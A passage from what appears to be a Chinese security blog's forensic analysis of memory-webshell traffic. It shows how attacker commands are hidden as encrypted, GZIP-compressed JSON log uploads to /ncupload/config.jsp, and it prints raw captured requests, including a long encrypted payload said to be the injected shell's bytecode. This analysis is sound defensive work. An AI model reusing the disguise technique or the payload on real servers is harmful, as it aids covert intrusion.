C0405F4D006B0F166DF8C858BC18AA38B3BE71978BFE1A93C32D99099BF984C4860F04BC09FB0E76FE5BA0B1F25C9C3607E744F60257324EF3A0CC21000232B34BF6F05508C0FF66B738DBB1AD4A784D45AA954E7DB21A63D8"}

我们可以看到,返回值就是一个比较伪装的好的报文

分析到这里,本以为已经分析完善了,可是当我们继续查看流量包的时候,发现并没有那么简单,当我们对他的流量进行重新解密的时候,按理说,可以正常解码,而且返回值应该差别不多,但是实际上,解码出来并不是class,而是乱码

代码语言:javascript复制
POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 
Content-Length: 208{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"}HTTP/1.1 200 OK
Server: Apache-Coyote/1.1X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=UTF-8Content-Length: 290Date: Mon, 25 Jul 2022 11:16:23 GMT
Connection: close

{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4 8Q7p37h/TbEBuDTY/h8uggW9zZaqXH9R9/m1YziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}
代码语言:javascript复制
POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host:
Content-Length: 272{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de0fad0fe6b3a09096af4f5d283d62f6adf581152788ec510921bb0f8e271590c9b847a8b3bde605fb0556665cb8df1041000d9cec2789b0f2d5cc4dc3c69ca3811"}HTTP/1.1 200 OK
Server: Apache-Coyote/1.1X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=UTF-8Content-Length: 4154Date: Mon, 25 Jul 2022 11:16:23 GMT
Connection: close

{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmk/KaMTMe/9tSkD5RB5ag5p9pD5JKGkHxBDVy//HNVnSvrG5gHWuuSqWj5BTjQ9aE
LKJEzji2yVJUjcJ0oPhnShiYJ4vlgaD12B/qdoPuhAn26hHTRjwMTbsjCOeleXtigQdCTW INzRs
xJL8qQayvp42aPoY2YrcAyRnygMO0E85Oz1p0PC9XKFE9njn5JtYhGRz4/Vey2jWyxH54Iv1Xnd6
XVn9Q1D2YFkHlLVTqkaftRZdK8s/J n2BOqZ0Qg7 oEpu8Z/V4N9Y2tWdSRdhIbCZ9jZbiCenFwA
2v76a2iakoNNmEI8bs0iAisMCkYRtW/DMrji2iA17S3xwKnslGnIOrbdeuDZhFytU5QVfFrNkbeX
706MHVngk0fQ4dztRuaGkTNgqfGJwAF3pJdWMfU7PhB2VnNHBd/nGrcIK2TPPTOYlIKnSJhpiABC
8aS38ZHndXDv1wZvzMFzlBt5CtzuD2m3IsQO9oy8gjKMhz1e37Q33lbW0VTuZMwIoc8V/KG9NmHw
vQBPBXOLrsaIoOIdPa73 eidy1bhgpKpwVANXJNV5cdz wzMyWsKKuQVYu54yH3VtWD85B5Qub4O
9PdmZ/JLbiTq0XIItpYi3mkcRc1NRc67v4e5MAnOS4XGN/znOXPwyZL/uJzngbyL9vStAaPtN9E8
8RhfdPZBq6JSNeadG1VIXMNNFqF5SPXK7hiAxIzBRspQ2NzNBYjzhUbNNGpe7bgh/  jQHbcPz7r
BoV7id7BgnUVDdmiNWZC8d9bBtf6ay17v5NkT9bYEJEMyQZWrF2tsytnYRazEHDFAQo5vtpzM7JF
NAeLGdFEwY2Ec1WMzmgMm4ESZiW7u7XitrZ9FtDYDMpBc8gsy1DE4avzIYQrulJS RPUCaQtbcF4
CrMAMXlReWezLgxTD6sK1SFlpQ5OR85nzdIo1bPzv8f/3VS9tt3PXECnOwmo76XRMiSayAEJF6y 
HvLYbhPvyEZcm0AeZ /ib2OqHaTIPsNcmPG9ah7j2qoXUMoEHa rh633wY61C5avK1n9ls2nQvfD
bMlddJCthKroz0m/OUupWKMzUVdwAu4YxKGdQZPzXWy1IcmgloY2X2reabDsAjpfLFoi074lubJ0
G66dndFAEjAFKysKNgdIfOGJqIBLqh6d1 YXxfXQJYyn95lV3GC190BMcRPlUOfTus5DComb3Htk
bjnOPJmRuu5 WfH4zeikIj trzH/eVeuvXjRutGLa5HetVwJhlm4dGoPTyqbWQ8RvgsTPj6jqumM
ctEHDty7yIkXu51qZjCefPfZ7uaU 2MwtqFPAj9ge3NWlZ LyYPwB0UgmiBo 4AjtoTKMzpqhJj2
Jei/ozHB8hew2HNL2hFjbZi24T6Spa9EB81ltNVQ7v321VP0UemPb 6V3TnhPgUsKNBl7abswwBr
uNvEN2oXwImy2MXpbyHHbsI/gFP8k4tc1UOeDXUTGjLFOc6zQOP3us96zq/LeCTALWsaCOLVeRGR
wHaNijw1ekJQtvkh2B5aDK41dw0/u7kHyOYbjWWBhsUPo9zVP1xBgVZSCQXEfK1NkCoKlDE Hyky
fExPaOW6HMx526sxAT2D53SYzzErQ4M69ZD7p2fLeYJR5YPEcMKHSAJD3dqdnK77CWZLx3/s4oyA
zsOfXazPfPep2qxSx6vGyitGiKJE6yRUvRg8ZBCrfpRdUvfSQM5bJrbQXGSPeukjrrqP7zjdJxRr
QpZOdN3kpP2FEz53SEvVvk13oztuNaz/CVq2qgEzQFyPU0Ymx2xZDY/yuVHKbSIxlbMp2ex3Z3LA
tgjw17s6sMaQvC86 5PfaCDBQAJ716EySno6gEv D5CAKi8sKTGsTx1PkUWifB n1eaWAIxdDIdu
Nxu2oR/Si0FTNiRgCSZvWguLG7GV9qkaqsavXJ7Sc/KF4zgvWVEcimA/G4 C8/hW3Grr5eElVD//
RuAQyae0H7L5fINq7NK2P1oMTv2sTytAUCEsHJifyrkiIcLfaUdG7PIn2kMkp3wxBeH3l0GGO3Ve
iEbXQHuVi3pgmoLXfCJ7xXJ2YAUktHcaosW8 eRHjInUj2c2WQZNUBt5WDCFz9rbw2QsSHMf49vq
amn8vZ2DTDVY2q qG1vTtI720E4NKnMQMNSIP9iNGPmKwCFIyb0Nj0kkLLe4N3bOB1x39P5ydnUw
RDVwDAZ3uEqyTXuI9rAz2MDpAMBI8Zu7e4rXpekBQXdZXwcQY7YhwBrTqKSaoFcpF6A3WJnzeDhH
3ca18RyMBj17Gu5YJmKCz/kasuUJjCRHvUkexeSUCU7RHClD H8WhjLRbfCbkBy5TSrf2yk7GKYc
0pACTwc/3azMZxjUM/VCe695dUxuM4/nwoON8uuoe7rH0FO6ywFjtYHWmac6IoTcF V6hNffvlp7
lZtJhZWVhH2/AJ uvNTQwE3XK1g T7XkgncDamV1hyCniuYgad2eLHonitquw5wc7v19 BC7rK0H
7 e1U6mjS1KokRcvoDa20g06TFrq1SVtqLvluOY8T9BPyx8omxdjkJwmEyr vvKHVLiXQMYwuHfO
rG87chelwDV0qWGBL6D96p3pQ7l WVL eQx Mm7cEt86/jaAtpkqfYESFvYVCzanehlxfFxqSybF
wGN pZ cschJZEs WdJKHlgYb0wXX3eFzRYwIfqtEm8gvNtgqbef5At4z8/zK4rhAyrxyFo86pNw
eA44p/rkywf025BfZqpBXk83uHkv5KTGteFqX5io2THlc53Imqx3EYNj3cpbwdmbQ0i3Rr/Ecg3t
gSq9IZlfLUCnY/ir9WYbU79Wk9WypoHZTfQ8PQW1YUosTRjmb2PbRzhQVVzjLWSauQnhxBHjGxe7
hLhQUL0VX3Nj440iXt7Ul04bKYSN/hmLNoa4yVALzu/576vhT/nLXQXAtZw4yfnkLzZl5qYmraOg
rbk42ruINFx4cD7h22NZ11X8pjNt0GRrT9dyN1wR7flJFI N O4Mmn0nMR9eR4dyuLTyFAIHVu4a
tT3qmjkxnzCov34j0iEAORIAQudTac3BmAojvw8dIY4LPgKFjNPhZuuSN11vtWrIi/HxFMHhoqIa
rMc0lNfy1z LyHo5UIoF7zdbCa ULBBwz7lFZ7cBJTJe1MebNLe2a4sI 8fI75BSB drNboHfKEK
05YP/uWBhp0SbTKHtCgvGY yDTebJjH2/UycyaQEC5k7lMLMUpTDV7m7u5wbBvRCRVr A84MW0T9
8/ChuGj3LS5oS4wCTbaa8WsAMiEdj0DO1jAApqvREDxbdizka5NV8xz9d8nymmUcw/JMe63FGm0A
BdxXebsN12SMmDU5j4k33DWS tjUjsIIrZzOp1mkh/YEI05jldcedtAA8DJAdY5qRejQmpwLF4Bi
HyFmfxKOzKeL5nLu9RTXqgKhdYlS 0Cuhj1CMallQpLoDVaZRHL5pXIFst/8rZMC1FbChZ8Yw6g/
9csuF6NqksItySVK1bN2bwuaNQBYDoagfJQtRMKasr/alZp aKLZg0Eauia9Zwj2ojOVf o/eg4J
BrZzriKkum1HWMEtsZrS7Q  Xrr6qZzfPBK1qm81S41XNC9So2dNkv7pkN1Gcm8z9ka2KavMZcqs
3lpPVtsvuXpnkEVBFcUUXRy7QnjI/Z0nX2s3chGVT8DgHeSYmZpcxOhU8RXokNXaT0hbs FTb40w
1aHP4nPkUfYWiJ5/P 5H29CLnqYXYEG2U7yFRUFYOMpV/QO0IvWzLylo/PO Mt2QS8qgOsEygbVa
5AIKxy1e57fHrACOQkZBwMYXKQXaFw==","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}

2.1.7 GZIP编解码

内存马配合http头,改变了传输的加密格式

我们在传递的时候,查看他解码的数据,发现,均携带1F8B08000000

代码语言:javascript复制
1F8B0800000000000000CB4D2DC9C84FF14BCC4D65E2656060484F2D714A2CCE4C2EF6CC4BCB2F4E2D2ECECCCFF34C6112044A6546E6571519F8B8F85526A717A454394602006D9268393B0000001F8B0800000000000000CB4D2DC9C84FF14BCC4D656261606028492D2E0100F839225013000000

百度查询之后,发现是GZIP压缩,为什么会产生GZIP压缩呢?根据之前的代码传递均为字节码

我们加入GZIP解码,发现流量均迎刃而解

代码语言:javascript复制
26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e
解码6D6574686F644E616D65020400000074657374

我们可以在流量中发现奥秘,针对每个流量包进行分析,最终在一个比较大的流量包中,发现了正常的字节码,也就是攻击方导入的内存马

代码语言:javascript复制
POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* Content-Length: 47312{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"4185330a9e6684959ca14153ebb2bf603cb68867e08548f8a49d5740865db8ad7ee4c687803a94df9fbdc5e289c05860585ad7644d60f28b9f05ab580ba41389202a44761bb2f7df6ec8a9bce967a3ebca00ed48d5144b81c945a37c5eaa8faa83e6d382701b0fe53b03a15c426a3940ef08489117833793d6e843f9fa5969557f92cf2759672b3507e301fddba98d451858000bd0576a949d5bd618a4a506cf2c1d77c03160aeda6e15dea50598eb2ef6d85d1d62cb8695ee312930896e4718b3eaa2a93a9b40f445c1eeeeec7eca5213cba64fa87018b82c33f9121722d983637c0eb0ac7ed86cf908c92e672ecc6bbbc579fc3df2945257498bb318eb101ea2721d56c40b74296e2d40f27765c32e7143e01dc13d417bb31ad03448f60289af7c681114fea5b6081bcfdaa635e8d0ee1eaa84a39f14a061358f6ad0cc64f64b983f87c551ad7a74abd07de4cfe466ea645f6d293be7c0d0e7f8dec3a4dc2d04d860d0e1b9b6a74e3c8b3fa012345ba1c475e32dd8ec43f361b370366597cd0c573166e0b305eaed560a70bb20618e7b15286822c36bc5327ebc89bce03165b3ac5a7b7aa56422c240874fda6be6cb21e0d2feeeb6c9a341b46697bef5a8f0f5f314876eb6228de66526117558ec45e02df595efec10a56e12c06722bbecd29dfe761f79073c6a209fb89a3a4674b79e53db1d345e065fb58318973d6eefb8518b1d197577675e067dfb6e7ab44a72600cf761299d473752d14c1afd70ce0551f05860a3774a09dd3324815d364b9366e1e1e55b547be0c9f4f9b15c6c3883ee187431ffbb3a9b0d8c9b9977a1e3aece48cc8a21b43c032542f393ee7667f778b04dff823e70813589e06bdf9b4ff88309b59a8e738d88fdb23bf0f542e9e8b32bbd6b07971212b043d3740927a5204232f93046d66207a86e6ad964ff8e947c857e22ad0979dce02b0bde140fa2f49604fca48d3576b88e6691360089ad4c4fbf0ce969757447e1d616066bc75135fa59e27bde6629bb43fd4cecf3970d4989d4f0bda252ecede59b1f2ca4791d136fd7dbc7c2bdba8215d4bb4ffcc4533b1d7ebfb4d22e15baf8ba277c54080711c314adb921067aa7162d34ce9b7a37d5b94ee4ae9325aa2beeebd990da033ebeafc9b9b2195e350f90baeead72a8132f3970804a3e70fe1e24c15cf097f71351a736c6bd76155535f8529b297e84b04c3fe4b0ea4625f6875d00872ddec9a69f87aa53d3256a69d05d47cb37302d49dabe722a9e26d49d55814659c8fc2f5509c004b4b6e1789228076eac8fdd53dc8574bab22a4f60fe16d37c227475425e9a9fd02486fab5a36bbc3db447b38fe9f94d4ef7b3cc155f068e0c0d35e0ad763b921827674dbfde980c0766c3799a82202620b06bd8fe66d88a0833d061607d50bb0de9f0d10d3eb2e937f6bf9331a41fb2258a50cdae25c113593a6b91afb3cb42b37d3e8e02538350743690895661ec3be580931d70d250ebe3c2e0243730693b0b16b63beec3990970994b8e374e55d2f29db1fbf2d5ffc6a83e6b995ca33ad8cac2a879be0e7566c02f1d22a2a8a357a3580271f15e8f7182d158972019ad51533c777054d90c8e8a29dd026f77c01d5960c6bbe15aafd517abf1b7501a09da95f8796f2fd0247c3fbc4a8abb539e2acc5154ad741412cbcba03a33ced5d345669e10b90674bbd5497dccc829a9567df055e00408ca96cd8aacca4064917b1913279f67d25f61b357ba55b8ebfa2583bd500735f9bcab6d35868e2a9f2255818c9ec550a9ac50c3e397ccc2d9211954a2166d09de389bed191af913d40e2e7249cdcc24337060c80e643164484c3430bc8b1383c34bdc610833d8e2c048ea7c99605b8ec4581f286260b3221b2016547c07b54487315f4a026420f81e3e95b399c876f6d4f2a493f8e078421a52f3edd9dfe15afd278dee26cea6ead4ba96a89dc6ab9ffd8d374ecc4c7f517b2612d0ceef638344e3a4ae4906cc8e46d30e6f4edc6711d3cfb6841cca223164b739e12dd226454f6ed9574ada1d33631a5e7064300fe8a620155e79b7f6e11abd658bc30ed52361a5730c12a639b3ca29062efbaceb350953c927ffb57421fdb66b8bc30ed52361a5730c12a639b3ca2906307d1d39f630b0ce760e0ae2c5b60da262df4707e252171d3a7b328290a67c83b9f110070aee503b88ad2c465db94c7069795550cfb2aa200753f69702aa4a7055b024214ad5df4d5e60b457ccfac45ca5f529731ca37f3eb203191a65e0ebbe19a99d109496aa0f3521a75a3f69b8b91de7e2d46139a1154a0781ca89883ffd274f523c65cc463d6f1fc1b8269cba6fed697693513238ffbedff78af8bdd02848cb5aaf9c1cd67ba1acae9eafee634fd3a1fca43be86ad049b82283dcb46b5ecec0167a26980834ed0a6e7fc1a7137690911c14555c0e0318a5c9084b4b380a849fd4a5cca28c8cbef495417a6677893be580931d70d250ebe3c2e024373069be4de701e0c8b245a1ee8bae582809cc5b59e06be1031f1378f8a902a5e6b7ef1e4b9344b9271138d32af35918b869450d77ea7a3b4480332ccf428dd8ef5b7efd3c8ffef09fec06800ed6ca8749e47e8ddf007d5a115e238f436fa881e36868dde7b2691f8e7d927debe3f01b047670ec28ec8576bb55c889dcfb6c8e4e250785b8fa96108189540725d34d8905d1cd72bf098421422a43e1ef6969368c03f172aa1b03c9c7b8ae2d462e4e1e10b48e5ac305d5a70380b335d093426e9b51769e182790451ccdbf8a24d3474cbe577a0c4b672fb50f24562120e8233249bb749404532f168f31def0aebb8152d8330187fcfa686f1ca8562557047efe43dc542c1d77c03160aeda6e15dea50598eb2e42a74ebf8e543589ec0a6dfb47d436b6c00a31a4e23525fba26b6a9a8828c91adfc76a5446a367d265b723ab35432bd9ed1cdc5803373b871a82c92c3574d3468b3d6f4581a732e542e63042ffb009bb1cf33a6bec737fc5ecd91c59ca74e189990e94a515dd92829c66c0282b1296031bfa7cf9f0b4ce10f318dac38803ad4e5e37836c41314605dad0f100f48c540b001086a0e7daae03350e89a1d46d69c76b5a98fec61240a525ff6c483f7cc96cbd7e898ebab71c4a2e1c7a1aa6c89a7efdf55557dca7e663961f9e2502a8cdfe7922818d66b542f5f2e7a1d83331b40edb7f1de75061fe24b2067bd7a965bcd1f7c3e1d1a47f3e43ef6715cfa2bae6f0384ba1142cd6c9786e4a5061459a52d2b64edefbff37f5ce216448277dab4cf89569d5f351ded71e063c67898e40a2366b06c1d3dfd658485f71defddbd3d5b85e51aef04921ff80f030980669b13ccbd40316ec35e158d983cc37dd567fbd3a28a0c63ea7828cb0323d730aee68a0ec4005317a9b2146bfe0b682dd244e6267ddff1d227ce71fe677819a2107246e5500edb8ef653e20a9041065ed1b5dbce58ba85c9fdad45957ad326589849d982e389a086f2b5f22c5a2a1a23e4312c121c96a4005a70545bdac9a4bbd9f5827c12c06511a7819133b2d2477b6db12f7f4dd9729fa95ece70417e79461d38645cd3c2ace3dae14b6738fe1844dd430969543404c8355c6b88c27e2cd2735ccaff37cd12c34ea6994fc7f826519fdaf2b2a5a9cacf0aadd72026b350aef04b165f2778f295fdbc622f3265211cac3c9fc14fb5e49b8d7025114df279ad03ea3ce79b1e03927f8ff46ca5c96edc9412b11d161c7737a1cf9c4658bb04db4cb313248f5354e0d8b231b824cca78886e4162a5ae9720eb9a3e25d490c90ff1a25c51d89b920088a1fabca4fe0fa72380396456feab046d069bf5858782c1ab7f9df68560e48f7642e9d4865397f6b1ee0775ffea9fc0e41b6684fb71ef665fab1170abb184b5faf4b0ef3a3c48561fbd857c423b8cf063dd8f0fbf9928a9234e4cbd355d98c86a71be5ea834b07938559251453969e22d47896e5fffb3881b64fd0edc1f6d0780dbda020ee23cb93d8f4915ccd537bac95bf9fa58ce70d2b566f2fc38a5297c067ea709bb21688cc6070b86f2fd9c8d0e69df7307b66f66f1d964004b56ab906b225b78249feaa4ca7d0e2281adc14b94ae071724d67bc151a049376e13169ca254a53bebc4f6fa7a070c8d33b01f78ef2cc792713ecc8b31db3cf9657e6f824ea3e62781be3439e8f2f467264e786977956bc8eb8aa0410ec4c2e92866cfa7daf4489c03941f76b97f58957a91432e56ce0c8312feca034775cc360c712a44b66a1ff6d9427f6b462bf5877ec82d19828a28d4304a1f75542afa4cd01d3335fd7f54a2497c000892f2edd61cf8cf6b831335dda677d40d5416c717f953cd03fdf8b3b97d4330787bae19161353ae6d56fb748d8c8fb75864701f37f14704f6ae504a4341feec90f98414c5183be580931d70d250ebe3c2e02437306941f38a635d4fccd63c1a986f783324aee1be23d3dba595837634c9756370204374eb14d3dc5abfa8f20085ce695e6b4afe20f595ddc7d7ef1752a2b51f217acc1f6ef9c2bf1a2b39830b793782ebe7d49d4640e8e5cd7ce4e177e419409532bb3fe4b0ea4625f6875d00872ddec9a69fdb226771f7f6a17628968f462f16d213dbae293f17d4ba43aa47a2abb2b82bdc5406f58b0b1871ca99b057d27961ded01927f24b73228d20a7b8434713ac7654118792b5f2a3e2b015448d85a3ebba4219dfb91ba8b3f2f25c1b3950b0b596bac6f80e0bd7204fee345653d5a6be81df69795550cfb2aa200753f69702aa4a70cfb9f4b624bf952d20e93f640fee64413b7b94a9ab89e6dccf32c9cb0f93c2b4d1870fc145ad68371287781b56fad23bebdb885c3fe78c475aeb69af6f658ae914957e11dcf00aad39a6f5b645836624598efe0398b9a4e494a575e86eee0c3e31e3601c5bd6291a955bb917310b15916670ad67a330324162da31e138c926ae7fe3bf5fedf7e71233f75db5b70f1f7941ce93dafd21ae94a7501af83873c50229411e9bfd3531958833257b8cbdfc2f9f36c21aecc13a9d95e1ad07b45e5234dfa72850035463ee36528f1c9290784ee26833fee11a527c5b70d61ff7c220083282e7a1c3d97b0fe6566e176503030d1059445631c5a77b5766896fb0fa84bfac8a051c49653f6fe38ce681cdb81e53931e6373143958bc83647a44c1d1e67d6534f8e8e371f57f5bc11131c9fcd6f096523a2ad3444f890a779c8a2bd0e894ecc9e12a4e22719ab2f7ccb6f3b3e30328f689b32582bd3c64520f823788f2ecef65af804be8fd622d29961f681f2c91c2deefcf789346b812711949f1c092f19b569c4a04a6f6c8ad1e4b4bc47c2b2237bc93eb221a552e171573143eb36e27de9fa33e7ec94ade8762d2fbce59096170475bd0339161d305e0fcef615caeec8ff69de8e4868733721e28ca55847007b12fab0020aa4b148d5937bebdf17d4c10ec055ad1f2b031039028329be4ce5add7d6cd77887d4e9af1201c12e9a27cc64db857f49345f28fd6bc680fea95845a100c02645af06541eece0f4c342cee4f2a90eb8bca9dd31e14f8e7cf4dca60d978c63c921a7911cad1a6daff744bccb612283acb705defb2a5c3cca6744f93130ea32334a71b23578c45d844dd7ae90c4ac252b9487e354384352ca12f09056bfdfdf39b7b4e3a98e8c900a8b6d85be2cf329abaa5450f0b235d624e0aae1a8f19af5bebb5ae7d7f9ccb895fcbf5889a97f7341e4e47bb941a034d00b28f6b3e4425f93151db1aba7a2abb8c7a01307bb4a88f3c27f5d09aeba01d3b3e0acb746b0de6eae287b7b3f7f41f507721dc5737bce02d2df6fa4686ee77765a2a63d3d7c19eb4fbc50bad9bfd0f244f19176e345df36967bd14effd4104981b846c23c6d85415c865025adb1db1778147363b1d6ffe7b016fa61204718f06bbde2cfdb499c292105d81bcc25b2d08f245801ff59df25dfb42a9d0c2e25a93443e14f8bc30ed52361a5730c12a639b3ca290615727c4e892b1e797a9d9fb6a6501b0b9fb1cf91979975951cf84798d43c73e754678d40e2b14904ffdbecee122fec5274e0d61d0a5c1f496b29c485614338568bc30ed52361a5730c12a639b3ca2906c70ac2fc78673125867b9ac63fa04eb6448f8d478945482bafc7a77ff6dc5877be60f90a79d93020c58bacbb8e1108902b33dd52592b6c7c3dcba6bec8c1ba2f01efbb75c9809394f059b2c43bb31f766ca710583ed06a53b8c9cda46bfc905e13dfe46398e79d0643a1c91812fb04e1cccfdc465e81d168f99ef3f345c09ca4dde4c3b37174a9e004b1fb1393fdb77aa5c528e41b30bf7d533f93d747dfdf2c6d8630560c54c9ddc850cd15938551af8a75a46a6fcd065d64021af713dab0c25dbaf55b6ed849d3a82888a2cfb0390e6ddefc31f575a3b7f0b9c099cb39a2fe3070b4b578fc93069293243fecdf52bd9b20dd75e50dbd2723e828863dee27d648cb5aaf9c1cd67ba1acae9eafee634f5237394fb2be0fb6d9362116e2e9d2778d02a57a45672bb29f69bc05a7d6c24c824deaf39c5c89e4c11b419fc07dd6148d1d1b319aeb7a37a3d8b5a845001c23417be44443ef7c4429976cfceb93b9fed1a460c33d3e5a830f231efbf719e70c62b95a98c1fc96812df269f5703e8b9f1c227ad1535cfe5f410c9124e6b51dbac27e5565d24805b5cea1a42f2dcf445a97847521d47dd237a98d005d32d303326e4df3572e7f7b1c66c4c94d890a565fd23cffde99a8f1e404043c221e4d1a16668bc985c7970931d0596dc745be04bf5b60123c77e7ee75c3f276f1f747439634b041da8b774f6a434057fd1f7160e11f030c365c80984b54d33592776fb9fbbcb7532783535a9e987a587aed2b0b9198367f96019b2f30a88419c8854ea01131f1f0b6a142858b2622d1dd42a0c94e1bdc43312c913419b1bf33763b1f22c65895f72403a6934b9e5f76b80e6dd1c477df564661467b261c995b444b91638c2e2eb1d86839881ceb4181307644843e7d6603b43d4d99a508d8006bcc7a8fe991c86461d3eb83856bdfd1f62af13ad0d7c8bdd825cbc18b2da1815c462f22b4b02e2c8d155b597e931dc8bb73ada730541df773bd09daa94f027c95fdd7c20bf81701e8dcf6f56e19df385a4e1a11ca09fbed893edc5565f511698b7699e1ce7ae0808d688f72fab395588f9a6cdaf343ffaf28e567e4e4b522cdc049dc967e462919969fb3ab1545a37cdd65db7f5e55ee9e725ba8eafb397ef7f0cfccbfd9ecd77121f923fa0e96aa7cca3e7c468af96ae4e885a4d55684c22ee09bf55928c6f8a4586524ec5e86abcf9dc9ccc070b3cf2e1bd7a96451c9db07b508e38a997903500da4131d649664503399f92995071e715265636b188306c404457de80680de7daeeb3a60b2fe72a967df57771faf582bd4da954e9330b80b6884825c944fc92e66c48fbb3aa8084ef1b9f884defc1de48c74ddc0c1dec8de843eff59ca382fdd3cd15c1af94625ae37e30ca33c706ad1a5faec9d001987ee2175053150795fd23fc0b6bd69b239c3156bbb5774652778400d8207172d2abf0c3f5009064bd210b8a91c67675b44f0001b9e88f555847acc0a75fc691c11c0f2bded2807e32e08924272d2d1fcda2f44982ba1caad11ee85910bae2b5de4106bf8334980d929029065eb5f92a4b2525eefca629f115b83f66ca002aeafd3c6fc31ce2529df84868bfd02a0fd678dc6597c4254e53ec0fcd172c6ac20f4200044f8c4ad25db769134eb29241e7b5c0a0ebcbce130d2a72b86bc3d9955ea3df8d5889a3805e2024441f522a85e8f0388792700639a99af7f1ba17f2c81814eb64791283d3f3a7dc5ab12324eafcea1a82f87ca01a4e11c6616fca123dbc28ae95f08c4dd56df88b71910f64b77bd39a4b046f639dde594435e64489792a20f087e2523efa6fe64b5fcb9a15f124495dfa3c2b584670a2cdd36d9eb2ee711218448fe127ea69c586ea5d9d268b79ac0d108606c1f01e1a0602c1fcdb7c4539c4628ba02bf9dd5b9776c082e9db188a25bff17913085776202a0209ac4cfdfcac76dcfa8786ced2ff416d0a932eee934ba8b2dcc7f3de59f65c3123c91bd4ed41084e061d94ac064e86d5b3df2707c2e1c35bbc792943565caedd1a4a94702336206e3e041efc3a25f52fdaee61b50bfea5ca8a5639342c7e65db15392d7064c41cb9e621d03ab3d5d513d3a8f90e0746df28f3410e156116051501f74e32f830ab8e2503e17458b016e2a82e643f051abe8b380df7610e8a956de266027459b322fd0c0ba3e59b0c8af223c7573ec28e22e883797ce5c5913c8d54364b0f70da064a50b0189f7ec837de26d88a580cbec220f87454f3eaac069b43dc4a7fc534ea1d1f405cc3a4329993eecad71d4ae2b160a5dd571164785431865080ce76c9c4e7154cd2074271179c52b4b7aefed0de6a81703074106ad6df59f9602d06eae1eef6de7431a735ca090b2f48804def9f13696b40c4d09e064b3e264b44cb8e5279f5876d21ace7f1a25ed95fe5ee4c1641c2401b6a855747db8c6ccfdaf714bdb3772c0e65269ccdbcd4fc2c05ebfdafee4b4bd80e78e167257fb86b2d3bc3b58e2b0c18f55f29f33450e50f5c7ef26354acfce367c64ddb6508b238f2650777557770884861e916d1361258ea108d0e3b7fa32ee0ac852a4613e8cabe2d57fd698371b80dfdfad3e76ef7ca7a8287a80cbeea4fb824740fa69d056286efb408e5816223f89a83badf212db3a6d082413b4300d63b0f04e27c309891fbca64771edfdfaf852f37339872c29092a56ad72c7e7805f52365afc814e2ec39f90ec5ac96b3aa00cd9dfebb4469d21d0848eb4ab0db233aa6eb2ed8b937d3ac8d07fe50de5f57646307b9ab9d45d238ad9e9c717bea2c872919515c30319136989f656cc37b5e6570c5af775a98e81a831bef951df48f1b8b0c2f1002c063b16f9cf4a39f2220b36de1ba461b5f051be46338cd08df2d1965ed83b1f9f2741d9ba98989e3f2723411e99c26b06e5e72b4dfccf0630c93df11df34f930e8badc805c1f8c6bcfb7900380eb9a8e3ed0f6dfea357fc4b18dec510f4348a6416958a2bd9f79f952c9dc0fa8e402e58d52d4f1fb5c8344799c46fb7489a50978a5a03cfdcb7294252ee46289c6b21db8de08af84bfb1ef8fa91106c3a126722dc73d3182a3f2e983e6b70abfa19d26ece28e500eb819ab5b3be162ce9055e7344330e9505eb8208a31b625101ec852556181eca97d0e323b95c8961db8b857ee5d12d0c56fc76d8b8b4fc13d406394368ec6f128a10fcf11edb6cfa8e56722140aab743746c4ceec0b1d2a72b86bc3d9955ea3df8d5889a38054485c9f7f975f576eec0052b03309d7eb706cbf35c2ab2492e84e15dd8db3dce8a2c9af54601ff948757bdd5a5a47208ec140413a1a9fa567493f5007bb4405d724da09f6bc47b50179233afd69923990f0854226727832a4c1f0c4ae2d2909f76f050a1c007b77cfc1016e09f7d068d569cdb89427dcf1c871cefdd4e3858b849552227495ca1e53da8871940708296841770ae3e9ae8376ad691670f2fece210c8adbacfd52b143ac4bc7c7aa85829cea1de9527151864e2f33c55bc90b7227484d372c6468c945a66864ec543bbfe63b1c85e91f1d8fdaedeb27631b9832dbd04d34e7b